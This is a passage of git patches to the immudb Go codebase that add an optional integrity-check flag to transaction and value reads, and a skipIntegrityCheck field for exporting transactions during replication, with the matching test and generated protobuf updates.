tx.readFrom(txReader, true) if err != nil { txPool.Release(tx) return nil, fmt.Errorf("corrupted transaction log: could not read the last transaction: %w", err) @@ -405,7 +405,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable tx, _ := txPool.Alloc() for { - err = tx.readFrom(txReader) + err = tx.readFrom(txReader, true) if err == io.EOF { break } @@ -851,7 +851,7 @@ func (s *ImmuStore) syncBinaryLinking() error { } defer s.releaseAllocTx(tx) - txReader, err := s.newTxReader(s.aht.Size()+1, false, true, tx) + txReader, err := s.newTxReader(s.aht.Size()+1, false, true, true, tx) if err != nil { return err } @@ -1839,7 +1839,7 @@ func (s *ImmuStore) DualProof(sourceTxHdr, targetTxHdr *TxHeader) (proof *DualPr } if targetTxHdr.BlTxID > 0 { - targetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false) + targetBlTxHdr, err := s.ReadTxHeader(targetTxHdr.BlTxID, false, true) if err != nil { return nil, err } @@ -2029,8 +2029,8 @@ func (r *slicedReaderAt) ReadAt(bs []byte, off int64) (n int, err error) { return available, nil } -func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, tx *Tx) ([]byte, error) { - err := s.readTx(txID, allowPrecommitted, tx) +func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, checkIntegrity bool, tx *Tx) ([]byte, error) { + err := s.readTx(txID, allowPrecommitted, checkIntegrity, tx) if err != nil { return nil, err } @@ -2321,7 +2321,7 @@ func (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) { for left < right { middle := left + (right-left)/2 - header, err := s.ReadTxHeader(middle, false) + header, err := s.ReadTxHeader(middle, false, true) if err != nil { return nil, err } @@ -2333,7 +2333,7 @@ func (s *ImmuStore) FirstTxSince(ts time.Time) (*TxHeader, error) { } } - header, err := s.ReadTxHeader(left, false) + header, err := s.ReadTxHeader(left, false, true) if err != nil { return nil, err } @@ -2352,7 +2352,7 @@ func (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) { for left < right { middle := left + ((right-left)+1)/2 - header, err := s.ReadTxHeader(middle, false) + header, err := s.ReadTxHeader(middle, false, true) if err != nil { return nil, err } @@ -2364,7 +2364,7 @@ func (s *ImmuStore) LastTxUntil(ts time.Time) (*TxHeader, error) { } } - header, err := s.ReadTxHeader(left, false) + header, err := s.ReadTxHeader(left, false, true) if err != nil { return nil, err } @@ -2418,7 +2418,7 @@ func (s *ImmuStore) appendableReaderForTx(txID uint64, allowPrecommitted bool) ( return appendable.NewReaderFrom(txr, txOff, txSize), nil } -func (s *ImmuStore) ReadTx(txID uint64, tx *Tx) error { +func (s *ImmuStore) ReadTx(txID uint64, checkIntegrity bool, tx *Tx) error { s.mutex.Lock() defer s.mutex.Unlock() @@ -2426,16 +2426,16 @@ func (s *ImmuStore) ReadTx(txID uint64, tx *Tx) error { return ErrAlreadyClosed } - return s.readTx(txID, false, tx) + return s.readTx(txID, false, checkIntegrity, tx) } -func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, tx *Tx) error { +func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, checkIntegrity bool, tx *Tx) error { r, err := s.appendableReaderForTx(txID, allowPrecommitted) if err != nil { return err } - err = tx.readFrom(r) + err = tx.readFrom(r, checkIntegrity) if err == io.EOF { return fmt.Errorf("%w: unexpected EOF while reading tx %d", ErrorCorruptedTxData, txID) } @@ -2443,7 +2443,7 @@ func (s *ImmuStore) readTx(txID uint64, allowPrecommitted bool, tx *Tx) error { return err } -func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool) (*TxHeader, error) { +func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool, checkIntegrity bool) (*TxHeader, error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -2456,7 +2456,7 @@ func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool) (*TxHeader return nil, err } - tdr := &txDataReader{r: r} + tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { @@ -2485,7 +2485,7 @@ func (s *ImmuStore) ReadTxHeader(txID uint64, allowPrecommitted bool) (*TxHeader return header, nil } -func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte) (*TxEntry, *TxHeader, error) { +func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte, checkIntegrity bool) (*TxEntry, *TxHeader, error) { var ret *TxEntry r, err := s.appendableReaderForTx(txID, false) @@ -2493,7 +2493,7 @@ func (s *ImmuStore) ReadTxEntry(txID uint64, key []byte) (*TxEntry, *TxHeader, e return nil, nil, err } - tdr := &txDataReader{r: r} + tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} header, err := tdr.readHeader(s.maxTxEntries) if err != nil { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index f1d8379dd4..8f139e1a30 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -174,7 +174,7 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { } require.NoError(t, err) - err = immuStore.ReadTx(hdr.ID, txHolder) + err = immuStore.ReadTx(hdr.ID, true, txHolder) require.NoError(t, err) for _, e := range txHolder.Entries() { @@ -199,7 +199,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) - err = immuStore.ReadTx(1, nil) + err = immuStore.ReadTx(1, true, nil) require.ErrorIs(t, err, ErrTxNotFound) err = immuStore.Close() @@ -219,7 +219,7 @@ func TestImmudbStoreOnClosedStore(t *testing.T) { }}, nil, false) require.ErrorIs(t, err, ErrAlreadyClosed) - err = immuStore.ReadTx(1, nil) + err = immuStore.ReadTx(1, true, nil) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = immuStore.NewTxReader(1, false, nil) @@ -1619,7 +1619,7 @@ func TestImmudbStoreCommitWith(t *testing.T) { require.NoError(t, err) defer immuStore.releaseAllocTx(tx) - immuStore.ReadTx(hdr.ID, tx) + immuStore.ReadTx(hdr.ID, true, tx) entry, err := tx.EntryOf([]byte(fmt.Sprintf("keyInsertedAtTx%d", hdr.ID))) require.NoError(t, err) @@ -1690,7 +1690,7 @@ func TestImmudbStoreHistoricalValues(t *testing.T) { tx := tempTxHolder(t, immuStore) - err = immuStore.ReadTx(txID, tx) + err = immuStore.ReadTx(txID, true, tx) require.NoError(t, err) entry, err := tx.EntryOf(k) @@ -1884,7 +1884,7 @@ func TestLeavesMatchesAHTSync(t *testing.T) { tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { - err := immuStore.ReadTx(uint64(i+1), tx) + err := immuStore.ReadTx(uint64(i+1), true, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) @@ -1931,7 +1931,7 @@ func TestLeavesMatchesAHTASync(t *testing.T) { tx := tempTxHolder(t, immuStore) for i := 0; i < txCount; i++ { - err := immuStore.ReadTx(uint64(i+1), tx) + err := immuStore.ReadTx(uint64(i+1), true, tx) require.NoError(t, err) require.Equal(t, uint64(i+1), tx.header.ID) @@ -1983,14 +1983,14 @@ func TestImmudbStoreConsistencyProof(t *testing.T) { for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, sourceTx) + err := immuStore.ReadTx(sourceTxID, true, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i; j < txCount; j++ { targetTxID := uint64(j + 1) - err := immuStore.ReadTx(targetTxID, targetTx) + err := immuStore.ReadTx(targetTxID, true, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) @@ -2039,14 +2039,14 @@ func TestImmudbStoreConsistencyProofAgainstLatest(t *testing.T) { targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) - err = immuStore.ReadTx(targetTxID, targetTx) + err = immuStore.ReadTx(targetTxID, true, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, sourceTx) + err := immuStore.ReadTx(sourceTxID, true, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) @@ -2129,14 +2129,14 @@ func TestImmudbStoreConsistencyProofReopened(t *testing.T) { for i := 0; i < txCount; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, sourceTx) + err := immuStore.ReadTx(sourceTxID, true, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) for j := i + 1; j < txCount; j++ { targetTxID := uint64(j + 1) - err := immuStore.ReadTx(targetTxID, targetTx) + err := immuStore.ReadTx(targetTxID, true, targetTx) require.NoError(t, err) require.Equal(t, uint64(j+1), targetTx.header.ID) @@ -2387,7 +2387,7 @@ func TestExportAndReplicateTx(t *testing.T) { txholder := tempTxHolder(t, primaryStore) - etx, err := primaryStore.ExportTx(1, false, txholder) + etx, err := primaryStore.ExportTx(1, false, true, txholder) require.NoError(t, err) rhdr, err := replicaStore.ReplicateTx(context.Background(), etx, false) @@ -2429,7 +2429,7 @@ func TestExportAndReplicateTxCornerCases(t *testing.T) { txholder := tempTxHolder(t, primaryStore) t.Run("prevent replicating broken data", func(t *testing.T) { - etx, err := primaryStore.ExportTx(1, false, txholder) + etx, err := primaryStore.ExportTx(1, false, true, txholder) require.NoError(t, err) for i := range etx { @@ -2490,7 +2490,7 @@ func TestExportAndReplicateTxSimultaneousWriters(t *testing.T) { require.NotNil(t, hdr) txholder := tempTxHolder(t, replicaStore) - etx, err := primaryStore.ExportTx(hdr.ID, false, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, true, txholder) require.NoError(t, err) // Replicate the same transactions concurrently, only one must succeed @@ -2552,7 +2552,7 @@ func TestExportAndReplicateTxDisorderedReplication(t *testing.T) { require.NoError(t, err) require.NotNil(t, hdr) - etx, err := primaryStore.ExportTx(hdr.ID, false, txholder) + etx, err := primaryStore.ExportTx(hdr.ID, false, true, txholder) require.NoError(t, err) etxs <- etx @@ -3002,7 +3002,7 @@ func BenchmarkExportTx(b *testing.B) { for i := 0; i < b.N; i++ { for i := 0; i < txCount; i++ { - _, err := immuStore.ExportTx(uint64(i+1), false, tx) + _, err := immuStore.ExportTx(uint64(i+1), false, true, tx) require.NoError(b, err) } } @@ -3377,10 +3377,10 @@ func TestBlTXOrdering(t *testing.T) { for i := uint64(1); i < maxTxID; i++ { - srcTxHeader, err := immuStore.ReadTxHeader(i, false) + srcTxHeader, err := immuStore.ReadTxHeader(i, false, true) require.NoError(t, err) - dstTxHeader, err := immuStore.ReadTxHeader(i+1, false) + dstTxHeader, err := immuStore.ReadTxHeader(i+1, false, true) require.NoError(t, err) require.LessOrEqual(t, srcTxHeader.BlTxID, dstTxHeader.BlTxID) diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index f125944ec3..b04443ca25 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -429,7 +429,7 @@ func (idx *indexer) indexSince(txID uint64) error { indexableEntries := 0 for i := 0; i < idx.maxBulkSize; i++ { - err := idx.store.readTx(txID+uint64(i), false, idx.tx) + err := idx.store.readTx(txID+uint64(i), false, true, idx.tx) if err != nil { return err } diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 9574e2d30e..04f02c0560 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -352,7 +352,7 @@ func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, return nil, nil, err } - e, header, err := r.snap.st.ReadTxEntry(ktxID, key) + e, header, err := r.snap.st.ReadTxEntry(ktxID, key, true) if err != nil { return nil, nil, err } diff --git a/embedded/store/tx.go b/embedded/store/tx.go index c66bdf7c54..bb2610f599 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -389,8 +389,8 @@ func (tx *Tx) Proof(key []byte) (*htree.InclusionProof, error) { return tx.htree.InclusionProof(kindex) } -func (tx *Tx) readFrom(r *appendable.Reader) error { - tdr := &txDataReader{r: r} +func (tx *Tx) readFrom(r *appendable.Reader, checkIntegrity bool) error { + tdr := &txDataReader{r: r, checkIntegrity: checkIntegrity} header, err := tdr.readHeader(len(tx.entries)) if err != nil { @@ -415,10 +415,11 @@ func (tx *Tx) readFrom(r *appendable.Reader) error { } type txDataReader struct { - r *appendable.Reader - h *TxHeader - digests [][sha256.Size]byte - digestFunc TxEntryDigest + r *appendable.Reader + h *TxHeader + digests [][sha256.Size]byte + digestFunc TxEntryDigest + checkIntegrity bool } func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { @@ -515,12 +516,15 @@ func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { } t.h = header - t.digestFunc, err = header.TxEntryDigest() - if err != nil { - return nil, err - } - t.digests = make([][sha256.Size]byte, 0, header.NEntries) + if t.checkIntegrity { + t.digestFunc, err = header.TxEntryDigest() + if err != nil { + return nil, err + } + + t.digests = make([][sha256.Size]byte, 0, header.NEntries) + } return header, nil } @@ -586,17 +590,22 @@ func (t *txDataReader) readEntry(entry *TxEntry) error { entry.readonly = true - digest, err := t.digestFunc(entry) - if err != nil { - return err + if t.checkIntegrity { + digest, err := t.digestFunc(entry) + if err != nil { + return err + } + t.digests = append(t.digests, digest) } - t.digests = append(t.digests, digest) - return nil } func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { + if !t.checkIntegrity { + return nil + } + var alh [sha256.Size]byte _, err := t.r.Read(alh[:]) if err != nil { diff --git a/embedded/store/tx_reader.go b/embedded/store/tx_reader.go index 5d04c21f8a..7020d88846 100644 --- a/embedded/store/tx_reader.go +++ b/embedded/store/tx_reader.go @@ -26,6 +26,7 @@ type TxReader struct { Desc bool allowPrecommitted bool + checkIntegrity bool CurrTxID uint64 CurrAlh [sha256.Size]byte @@ -42,10 +43,10 @@ func (s *ImmuStore) NewTxReader(initialTxID uint64, desc bool, tx *Tx) (*TxReade return nil, ErrAlreadyClosed } - return s.newTxReader(initialTxID, desc, false, tx) + return s.newTxReader(initialTxID, desc, false, true, tx) } -func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, tx *Tx) (*TxReader, error) { +func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, checkIntegrity bool, tx *Tx) (*TxReader, error) { if initialTxID == 0 { return nil, ErrIllegalArguments } @@ -59,6 +60,7 @@ func (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool Desc: desc, CurrTxID: initialTxID, allowPrecommitted: allowPrecommitted, + checkIntegrity: checkIntegrity, st: s, _tx: tx, }, nil @@ -69,7 +71,7 @@ func (txr *TxReader) Read() (*Tx, error) { return nil, ErrNoMoreEntries } - err := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr._tx) + err := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr.checkIntegrity, txr._tx) if err == ErrTxNotFound { return nil, ErrNoMoreEntries } diff --git a/embedded/store/tx_test.go b/embedded/store/tx_test.go index 13673d527b..46d8330fe2 100644 --- a/embedded/store/tx_test.go +++ b/embedded/store/tx_test.go @@ -41,7 +41,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { a.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, errors.New("error") } - err := tx.readFrom(r) + err := tx.readFrom(r, true) require.Error(t, err) // Should fail while reading Ts @@ -52,7 +52,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r) + err = tx.readFrom(r, true) require.Error(t, err) // Should fail while reading BlTxID @@ -63,7 +63,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r) + err = tx.readFrom(r, true) require.Error(t, err) // Should fail while reading BlRoot @@ -74,7 +74,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r) + err = tx.readFrom(r, true) require.Error(t, err) // Should fail while reading PrevAlh @@ -85,7 +85,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r) + err = tx.readFrom(r, true) require.Error(t, err) // Should fail while reading nentries @@ -96,7 +96,7 @@ func TestReadTxFromCorruptedData(t *testing.T) { } return 0, errors.New("error") } - err = tx.readFrom(r) + err = tx.readFrom(r, true) require.Error(t, err) } diff --git a/embedded/store/verification_test.go b/embedded/store/verification_test.go index 28f1e9e188..dd4fd81435 100644 --- a/embedded/store/verification_test.go +++ b/embedded/store/verification_test.go @@ -91,14 +91,14 @@ func TestVerifyDualProofEdgeCases(t *testing.T) { targetTx := tempTxHolder(t, immuStore) targetTxID := uint64(txCount) - err = immuStore.ReadTx(targetTxID, targetTx) + err = immuStore.ReadTx(targetTxID, true, targetTx) require.NoError(t, err) require.Equal(t, uint64(txCount), targetTx.header.ID) for i := 0; i < txCount-1; i++ { sourceTxID := uint64(i + 1) - err := immuStore.ReadTx(sourceTxID, sourceTx) + err := immuStore.ReadTx(sourceTxID, true, sourceTx) require.NoError(t, err) require.Equal(t, uint64(i+1), sourceTx.header.ID) @@ -144,7 +144,7 @@ func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { t.Run("transactions 1-10 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(1); txID <= 10; txID++ { - hdr, err := immuStore.ReadTxHeader(txID, false) + hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.Equal(t, txID-1, hdr.BlTxID) } @@ -152,7 +152,7 @@ func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { t.Run("transactions 11-20 use long linear proof", func(t *testing.T) { for txID := uint64(11); txID <= 20; txID++ { - hdr, err := immuStore.ReadTxHeader(txID, false) + hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.EqualValues(t, 10, hdr.BlTxID) } @@ -160,7 +160,7 @@ func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { t.Run("transactions 21-30 do not use linear proof longer than 1", func(t *testing.T) { for txID := uint64(21); txID <= 30; txID++ { - hdr, err := immuStore.ReadTxHeader(txID, false) + hdr, err := immuStore.ReadTxHeader(txID, true, false) require.NoError(t, err) require.Equal(t, txID-1, hdr.BlTxID) } @@ -175,10 +175,10 @@ func TestVerifyDualProofWithAdditionalLinearInclusionProof(t *testing.T) { sourceTx := tempTxHolder(t, immuStore) targetTx := tempTxHolder(t, immuStore) - err := immuStore.ReadTx(sourceTxID, sourceTx) + err := immuStore.ReadTx(sourceTxID, true, sourceTx) require.NoError(t, err) - err = immuStore.ReadTx(targetTxID, targetTx) + err = immuStore.ReadTx(targetTxID, true, targetTx) require.NoError(t, err) dproof, err := immuStore.DualProof(sourceTx.Header(), targetTx.Header()) diff --git a/embedded/tools/stress_tool/stress_tool.go b/embedded/tools/stress_tool/stress_tool.go index e69e09d933..c4f71289a3 100644 --- a/embedded/tools/stress_tool/stress_tool.go +++ b/embedded/tools/stress_tool/stress_tool.go @@ -309,7 +309,7 @@ func main() { defer txHolderPool.Release(txHolder) for i := range ids { - immuStore.ReadTx(ids[i], txHolder) + immuStore.ReadTx(ids[i], true, txHolder) for ei, e := range txHolder.Entries() { if !bytes.Equal(e.Key(), entries[i][ei].Key) { From cfee402c6fc2bd315243e72f080e9222e14e9691 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Jan 2023 14:44:50 -0300 Subject: [PATCH 0195/1062] chore(embedded/store): optional integrity checking when reading values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 22 +++++++++++----------- embedded/store/immustore_test.go | 4 ++-- 2 files changed, 13 insertions(+), 13 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 83c16a3c07..e99d25e7c2 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2093,8 +2093,8 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, checkIntegrity // val // TODO: improve value reading implementation, get rid of _valBs s._valBsMux.Lock() - _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal) - if err != nil && err != io.EOF { + _, err = s.readValueAt(s._valBs[:e.vLen], e.vOff, e.hVal, checkIntegrity) + if err != nil && !errors.Is(err, io.EOF) { s._valBsMux.Unlock() return nil, err } @@ -2550,28 +2550,27 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { return nil, ErrExpiredEntry } + if entry.vLen == 0 { + return nil, nil + } + b := make([]byte, entry.vLen) - bval, err := s.readValueAt(b, entry.vOff, entry.hVal) + _, err := s.readValueAt(b, entry.vOff, entry.hVal, true) if err != nil { return nil, err } - // if bval == 0, the value is nil - if bval == 0 { - return nil, nil - } - return b, nil } -func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) (n int, err error) { +func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, checkIntegrity bool) (n int, err error) { if s.vLogCache != nil { val, err := s.vLogCache.Get(off) if err == nil { // the requested value was found in the value cache copy(b, val.([]byte)) - if hvalue != sha256.Sum256(b) { + if checkIntegrity && hvalue != sha256.Sum256(b) { return len(b), ErrCorruptedData } return len(b), nil @@ -2583,6 +2582,7 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( } vLogID, offset := decodeOffset(off) + if vLogID > 0 { vLog := s.fetchVLog(vLogID) defer s.releaseVLog(vLogID) @@ -2595,7 +2595,7 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) ( return n, err } - if hvalue != sha256.Sum256(b) { + if checkIntegrity && hvalue != sha256.Sum256(b) { return len(b), ErrCorruptedData } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 8f139e1a30..11ab428b9e 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1810,7 +1810,7 @@ func TestImmudbStoreInclusionProof(t *testing.T) { require.Equal(t, j, ki) value := make([]byte, txEntries[j].vLen) - _, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal()) + _, err = immuStore.readValueAt(value, txEntries[j].VOff(), txEntries[j].HVal(), true) require.NoError(t, err) k := make([]byte, 8) @@ -2341,7 +2341,7 @@ func TestUncommittedTxOverwriting(t *testing.T) { require.NoError(t, err) value := make([]byte, txe.vLen) - _, err = immuStore.readValueAt(value, txe.vOff, txe.hVal) + _, err = immuStore.readValueAt(value, txe.vOff, txe.hVal, true) require.NoError(t, err) e := &EntrySpec{Key: txe.key(), Value: value} From 5093b74958dcfd37d7912a1758b15f7c62157579 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Jan 2023 14:45:41 -0300 Subject: [PATCH 0196/1062] chore(embedded/store): api upgrade Signed-off-by: Jeronimo Irazabal --- embedded/store/key_reader.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 04f02c0560..5052c141f9 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -303,7 +303,7 @@ func (v *valueRef) Resolve() (val []byte, err error) { return nil, ErrExpiredEntry } - _, err = v.st.readValueAt(refVal, v.vOff, v.hVal) + _, err = v.st.readValueAt(refVal, v.vOff, v.hVal, true) if err != nil { return nil, err } From ddd263d5292d31a874956b3aea4c95cdfc3ea6e3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Jan 2023 14:50:25 -0300 Subject: [PATCH 0197/1062] chore(pkg/replication): skip integrity check when exporting transactions Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 47 ++-- pkg/api/schema/schema.pb.gw.go | 42 +-- pkg/api/schema/schema.proto | 2 + pkg/api/schema/schema.swagger.json | 2 +- pkg/api/schema/schema_grpc.pb.go | 280 +++++++++---------- pkg/database/all_ops.go | 6 +- pkg/database/database.go | 62 ++-- pkg/database/reference.go | 8 +- pkg/database/scan.go | 2 +- pkg/database/sorted_set.go | 8 +- pkg/database/sql.go | 10 +- pkg/integration/follower_replication_test.go | 10 +- pkg/replication/replicator.go | 7 +- 14 files changed, 254 insertions(+), 233 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 2670bd5fd8..761925ce0c 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -754,6 +754,7 @@ DualProof contains inclusion and consistency proofs for dual Merkle-Tree + L | tx | [uint64](#uint64) | | Id of transaction to export | | allowPreCommitted | [bool](#bool) | | If set to true, non-committed transactions can be exported | | replicaState | [ReplicaState](#immudb.schema.ReplicaState) | | Used on synchronous replication to notify the primary about replica state | +| skipIntegrityCheck | [bool](#bool) | | If set to true, integrity checks are skipped when reading data | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 4a191c48be..849fa8fcc9 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -16,18 +16,18 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.21.9 +// protoc v3.11.4 // source: schema.proto package schema import ( + empty "github.com/golang/protobuf/ptypes/empty" + _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" - emptypb "google.golang.org/protobuf/types/known/emptypb" - structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -959,6 +959,7 @@ type Precondition struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Precondition: + // // *Precondition_KeyMustExist // *Precondition_KeyMustNotExist // *Precondition_KeyNotModifiedAfterTX @@ -1302,6 +1303,7 @@ type Op struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Operation: + // // *Op_Kv // *Op_ZAdd // *Op_Ref @@ -4520,6 +4522,8 @@ type ExportTxRequest struct { AllowPreCommitted bool `protobuf:"varint,2,opt,name=allowPreCommitted,proto3" json:"allowPreCommitted,omitempty"` // Used on synchronous replication to notify the primary about replica state ReplicaState *ReplicaState `protobuf:"bytes,3,opt,name=replicaState,proto3" json:"replicaState,omitempty"` + // If set to true, integrity checks are skipped when reading data + SkipIntegrityCheck bool `protobuf:"varint,4,opt,name=skipIntegrityCheck,proto3" json:"skipIntegrityCheck,omitempty"` } func (x *ExportTxRequest) Reset() { @@ -4575,6 +4579,13 @@ func (x *ExportTxRequest) GetReplicaState() *ReplicaState { return nil } +func (x *ExportTxRequest) GetSkipIntegrityCheck() bool { + if x != nil { + return x.SkipIntegrityCheck + } + return false +} + type ReplicaState struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -7901,6 +7912,7 @@ type SQLValue struct { unknownFields protoimpl.UnknownFields // Types that are assignable to Value: + // // *SQLValue_Null // *SQLValue_N // *SQLValue_S @@ -7949,11 +7961,11 @@ func (m *SQLValue) GetValue() isSQLValue_Value { return nil } -func (x *SQLValue) GetNull() structpb.NullValue { +func (x *SQLValue) GetNull() _struct.NullValue { if x, ok := x.GetValue().(*SQLValue_Null); ok { return x.Null } - return structpb.NullValue(0) + return _struct.NullValue(0) } func (x *SQLValue) GetN() int64 { @@ -7996,7 +8008,7 @@ type isSQLValue_Value interface { } type SQLValue_Null struct { - Null structpb.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` + Null _struct.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` } type SQLValue_N struct { @@ -9093,7 +9105,7 @@ var file_schema_proto_rawDesc = []byte{ 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0x90, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, + 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, @@ -9102,7 +9114,10 @@ var file_schema_proto_rawDesc = []byte{ 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 